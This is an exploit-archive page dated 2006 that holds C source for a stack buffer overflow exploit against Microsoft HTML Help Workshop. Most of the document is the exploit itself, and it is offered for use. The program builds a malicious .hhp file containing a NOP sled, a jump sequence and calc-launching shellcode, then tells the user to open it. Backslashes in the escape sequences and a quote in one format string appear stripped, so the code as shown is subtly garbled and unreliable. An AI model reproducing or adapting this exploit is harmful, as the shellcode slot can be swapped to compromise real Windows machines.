Microsoft HTML Help Workshop (.hhp file) Buffer Overflow Exploit (new)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Microsoft HTML Help Workshop (.hhp file) Buffer Overflow Exploit (new)
# Published : 2006-02-11
# Author : k3xji
# Previous Title : MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit
# Next Title : MS Windows Services ACLs Local Privilege Escalation Exploit (updated)

/*
Microsoft HTML Help Workshop .hhp file Compiled File Header Buffer Overflow Exploit
The Buffer Overlfow in Compiled File in Options in a HHP file.

Bug found by:darkeagle
Exploit coded by:k3xji
Mail:sumerc@gmail.com
Web: www.guvenliklab.com

Tested:Win XP SP2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFLEN 0xe6

char sta[]=
"[OPTIONS]n"
"Compatibility=1.1 or latern"
"Compiled file=";

char fin[]=
"Display compile progress=Non"
"Language=Turkishnnn"
"[INFOTYPES]";

char jmpcode[]= "x5dx38x82x7cx5dx38x82x7cx90x90x90x90x83xECx34x90x83xECx78x90xFFxE4x90x90";

char shellcode[]=
    //Taken from ATmaCA's Execute Calc.exe shellcode.Thx.A bit lazy to call ExitProcess:P
    "x54x50x53x50x29xc9x83xe9xdexe8xffxffxffxffxc0x5ex81x76x0ex02"
    "xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48"
    "x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4"
    "xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12"
    "x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69"
    "x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6"
    "x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5"
    "x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21"
    "x61xddx0ex4d";

int main(int argc,char *argv[])
{

	printf("nMicrosoft Help WorkShop Compiled File Header Buffer Overflow");
    printf("nBug discovered by darkeagle");
	printf("nExploit coded by k3xji");
    printf("nE-Mail: sumerc@gmail.com");

	FILE *vuln;
	char *overflow;
	overflow = (char*)malloc(BUFLEN);	
	vuln = fopen("poc.hhp","w");

	//build overflow buffer here.
	memset(overflow,0x90,BUFLEN);					    //fill noPs
	memcpy(overflow+0x2a,shellcode,sizeof(shellcode));  //shellcod3
	memcpy(overflow+0xce,jmpcode,sizeof(jmpcode));      //jmpcod3
 
	if(vuln)
	{
		//Write to the poc.hhp file
		fprintf(vuln,"%s%s"/>n%s",sta,overflow,fin);
		fclose(vuln);
	}
	printf("nnpoc.hhp file is written.n");
	printf("Open file with Microsoft Help Workshop.n");
	return 0;
}

// www.Syue.com [2006-02-11]